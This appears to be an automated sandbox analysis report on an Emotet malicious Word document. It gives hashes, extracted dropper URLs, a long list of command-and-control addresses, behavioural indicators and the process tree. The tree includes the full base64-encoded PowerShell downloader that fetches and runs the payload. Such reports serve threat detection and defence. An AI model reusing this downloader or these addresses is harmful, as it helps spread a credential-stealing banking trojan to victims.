emotet | ad6141da8a440d43061dc2514c8e087bd158dc2b43a2eff921d5e34ec3d25450

General

Target
emotet_e2_ad6141da8a440d43061dc2514c8e087bd158dc2b43a2eff921d5e34ec3d25450_2020-08-11__072555._doc.doc
Size 225KB
Sample200811-bzenjsemes
SHA256 ad6141da8a440d43061dc2514c8e087bd158dc2b43a2eff921d5e34ec3d25450
MD5 f053e582fe0366a7f4d3b0ed6f92feb5
SHA1 fd0b26c1dd547320590f9633eaae394af063a25b
SHA512 10c1d3388e4ee8775c3628e5281bf98e0a61541e96d451533b5888e153111447e5486ea1393765c077b7852ea4c0ea12d08c1362999b27821681e5f00b725153
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://grupomacro.com.br/language/d_6_vd/
exe.dropper
http://halesplumbing.com.au/images/bxe9u_i_n3y/
exe.dropper
http://vplast.com.br/wp-content/8umw_pdh_v61/
exe.dropper
http://lidoraggiodisole.it/cgi-bin/f6q_kn_tqwx/
exe.dropper
http://xiangxiinfo.ac.cn/wordpress/1w_e3f_4ftsf/

Extracted

Family

emotet

C2

74.120.55.163:80
176.10.250.88:8080
96.8.113.4:8080
137.59.187.107:8080
74.208.45.104:8080
104.131.11.150:443
110.145.77.103:80
87.106.136.232:8080
114.146.222.200:80
37.187.72.193:8080
181.230.116.163:80
70.167.215.250:8080
103.86.49.11:8080
201.173.217.124:443
109.74.5.95:8080
95.213.236.64:8080
5.39.91.110:7080
78.24.219.147:8080
81.2.235.111:8080
183.101.175.193:80
85.152.162.105:80
139.59.60.244:8080
47.146.117.214:80
104.131.44.150:8080
72.12.127.184:443
200.41.121.90:80
41.60.200.34:80
61.19.246.238:443
139.130.242.43:80
113.160.130.116:8443
76.27.179.47:80
190.55.181.54:443
176.111.60.55:8080
46.105.131.79:8080
93.51.50.171:8080
121.124.124.40:7080
62.75.141.82:80
24.43.99.75:80
204.197.146.48:80
157.245.99.39:8080
104.236.246.93:8080
47.144.21.12:443
203.153.216.189:7080
142.105.151.124:443
153.126.210.205:7080
185.94.252.104:443
209.141.54.221:8080
162.241.92.219:8080
222.214.218.37:4143
119.198.40.179:80
24.179.13.119:80
157.147.76.151:80
50.116.86.205:8080
83.110.223.58:443
152.168.248.128:443
79.98.24.39:8080
165.165.171.160:8080
47.153.182.47:80
168.235.67.138:7080
5.196.74.210:8080
180.92.239.110:8080
189.212.199.126:443
47.146.32.175:80
91.211.88.52:7080
62.138.26.28:8080
209.182.216.177:443
169.239.182.217:8080
190.160.53.126:80
95.179.229.244:8080
181.211.11.242:80
37.139.21.175:8080
87.106.139.101:8080
116.203.32.252:8080
200.55.243.138:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3708	1124	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4000-14-0x0000000000AB0000-0x0000000000ABC000-memory.dmp	emotet
behavioral2/memory/4000-14-0x0000000000AB0000-0x0000000000ABC000-memory.dmp	emotet
behavioral2/memory/2600-17-0x0000000000B00000-0x0000000000B0C000-memory.dmp	emotet
behavioral2/memory/2600-17-0x0000000000B00000-0x0000000000B0C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	3708	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4000	96.exe
2600	wmdmps.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\netevent\wmdmps.exe	96.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3708	powersheLL.exe
3708	powersheLL.exe
3708	powersheLL.exe
2600	wmdmps.exe
2600	wmdmps.exe
2600	wmdmps.exe
2600	wmdmps.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3708	powersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
4000	96.exe
2600	wmdmps.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 2600	4000	96.exe	79
PID 4000 wrote to memory of 2600	4000	96.exe	79
PID 4000 wrote to memory of 2600	4000	96.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_ad6141da8a440d43061dc2514c8e087bd158dc2b43a2eff921d5e34ec3d25450_2020-08-11__072555._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:584

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAFEAUABWAEwAawBhAGEAPQAnAFkAUQBBAEkAWQB0AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABDAHUAUgBpAGAAVAB5AFAAUgBgAE8AYABUAGAATwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEYAVQBSAFEAWgBzAGMAagAgAD0AIAAnADkANgAnADsAJABWAEUATABZAFYAdgBvAHUAPQAnAEIASgBRAEgAVABiAG0AcQAnADsAJABQAFcATwBYAEoAZgBmAGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAVQBSAFEAWgBzAGMAagArACcALgBlAHgAZQAnADsAJABUAEsARQBXAEkAeABoAG8APQAnAFgAVwBYAEsASgBxAHYAbwAnADsAJABCAEQARQBIAEEAdABmAHkAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBuAHQAOwAkAFMATgBRAEQAQQB2AHQAcAA9ACcAaAB0AHQAcAA6AC8ALwBnAHIAdQBwAG8AbQBhAGMAcgBvAC4AYwBvAG0ALgBiAHIALwBsAGEAbgBnAHUAYQBnAGUALwBkAF8ANgBfAHYAZAAvACoAaAB0AHQAcAA6AC8ALwBoAGEAbABlAHMAcABsAHUAbQBiAGkAbgBnAC4AYwBvAG0ALgBhAHUALwBpAG0AYQBnAGUAcwAvAGIAeABlADkAdQBfAGkAXwBuADMAeQAvACoAaAB0AHQAcAA6AC8ALwB2AHAAbABhAHMAdAAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADgAdQBtAHcAXwBwAGQAaABfAHYANgAxAC8AKgBoAHQAdABwADoALwAvAGwAaQBkAG8AcgBhAGcAZwBpAG8AZABpAHMAbwBsAGUALgBpAHQALwBjAGcAaQAtAGIAaQBuAC8AZgA2AHEAXwBrAG4AXwB0AHEAdwB4AC8AKgBoAHQAdABwADoALwAvAHgAaQBhAG4AZwB4AGkAaQBuAGYAbwAuAGEAYwAuAGMAbgAvAHcAbwByAGQAcAByAGUAcwBzAC8AMQB3AF8AZQAzAGYAXwA0AGYAdABzAGYALwAnAC4AIgBzAGAAcABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAUgBVAEEAWABxAGIAeQA9ACcASABKAEcARwBMAGQAaAB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAEoASgBLAEQAdwBpAGcAIABpAG4AIAAkAFMATgBRAEQAQQB2AHQAcAApAHsAdAByAHkAewAkAEIARABFAEgAQQB0AGYAeQAuACIARABvAHcAYABOAEwATwBBAEQAZgBgAGkAYABsAGUAIgAoACQAUwBKAEoASwBEAHcAaQBnACwAIAAkAFAAVwBPAFgASgBmAGYAZgApADsAJABEAFkAVgBPAFIAZwB2AHIAPQAnAEIAUQBBAEEATQBmAGsAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFAAVwBPAFgASgBmAGYAZgApAC4AIgBMAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAOAA3ADgAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAAZQBBAGAAVABlACIAKAAkAFAAVwBPAFgASgBmAGYAZgApADsAJABUAE4ATwBWAEoAeQB6AGYAPQAnAFEASwBUAEQATQB5AHMAcAAnADsAYgByAGUAYQBrADsAJABXAFoATgBGAEYAcgB6AGgAPQAnAEgAVwBCAFcASgBmAGMAZAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAEQATQBQAFMAYgBjAGIAPQAnAEgATgBPAEIAVQBwAHAAZgAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3708

C:\Users\Admin\96.exe
C:\Users\Admin\96.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\SysWOW64\netevent\wmdmps.exe
  "C:\Windows\SysWOW64\netevent\wmdmps.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/584-0-0x00007FFEAA570000-0x00007FFEAAC36000-memory.dmp

Download

memory/584-3-0x0000017C88EAA000-0x0000017C88EB6000-memory.dmp

Download

memory/2600-17-0x0000000000B00000-0x0000000000B0C000-memory.dmp

Download

memory/3708-9-0x00007FFEA2260000-0x00007FFEA2C4C000-memory.dmp

Download

memory/3708-10-0x00000179EF230000-0x00000179EF231000-memory.dmp

Download

memory/3708-11-0x00000179EF530000-0x00000179EF531000-memory.dmp

Download

memory/4000-14-0x0000000000AB0000-0x0000000000ABC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads